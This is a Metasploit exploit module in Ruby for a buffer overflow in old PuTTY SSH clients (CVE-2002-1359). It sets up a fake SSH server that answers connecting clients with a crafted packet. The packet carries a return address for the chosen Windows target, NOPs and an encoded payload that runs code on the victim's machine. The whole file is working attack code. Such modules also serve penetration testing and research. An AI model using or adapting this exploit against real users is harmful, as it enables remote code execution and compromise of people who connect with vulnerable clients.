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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'PuTTY Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a buffer overflow in the PuTTY SSH client that is
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        triggered through a validation error in SSH.c. This vulnerability
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        affects versions 0.53 and earlier.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2002-1359' ],
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          [ 'OSVDB', '8044'],
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          [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
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          [ 'BID', '6407'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00",
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          'MaxNops'  => 0,
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
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          [ 'Windows XP SP2 English',   { 'Ret' => 0x76b43ae0 } ],
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          [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2002-12-16',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
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      ])
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    buffer =
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      "SSH-2.0-OpenSSH_3.6.1p2\r\n" +
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      "\x00\x00\x4e\xec\x01\x14" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
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      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
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      (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
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      [target.ret].pack('V') + make_nops(10) + p.encoded +
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      (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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      (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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      (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
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      "\x00\x00\x00\x00\x00\x00"
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    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
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    client.put(buffer)
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    handler
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    service.close_client(client)
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  end
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end
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